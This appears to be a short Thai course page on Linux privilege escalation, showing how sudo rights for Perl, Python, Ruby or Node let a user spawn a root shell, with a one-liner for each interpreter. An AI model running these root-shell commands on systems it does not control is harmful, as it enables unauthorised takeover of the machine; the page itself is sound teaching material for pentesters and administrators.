SUDO WITH PROGRAMMING LANGUAGE

SUDO WITH PROGRAMMING LANGUAGE
ในบทนี้จะพูดถึงการใช้งานภาษาต่างๆในการสร้าง shell ใหม่ นั่นทำให้หากเรากำหนดให้ user ใดๆ สามารถใช้ sudo กับภาษาอย่าง perl, python, ruby, node ก็จะสามารถใช้ shell ด้วยสิทธิ์ root ได้นั่นเอง

Perl

sudo -u root perl -e ‘`/bin/bash`’
course-6-201905143365OmdC1kSGPWy7.png

Python

sudo -u root python -c ‘import pty;pty.spawn(“/bin/bash”)’
course-6-201905143365zu9eSYyWRGgk.png

Ruby

sudo -u root ruby -e ‘require “irb”; IRB.start(__FILE__)’
> puts `id`
course-6-201905143365ivFpyLxs2z9T.png

Nodejs

sudo -u root nodejs -e "var exec = require('child_process').exec;
exec('[COMMAND]', function (error, stdOut, stdErr) {
console.log(stdOut);
});"
Screen Shot 2562-05-18 at 16.30.13.png

Comments

Popular Posts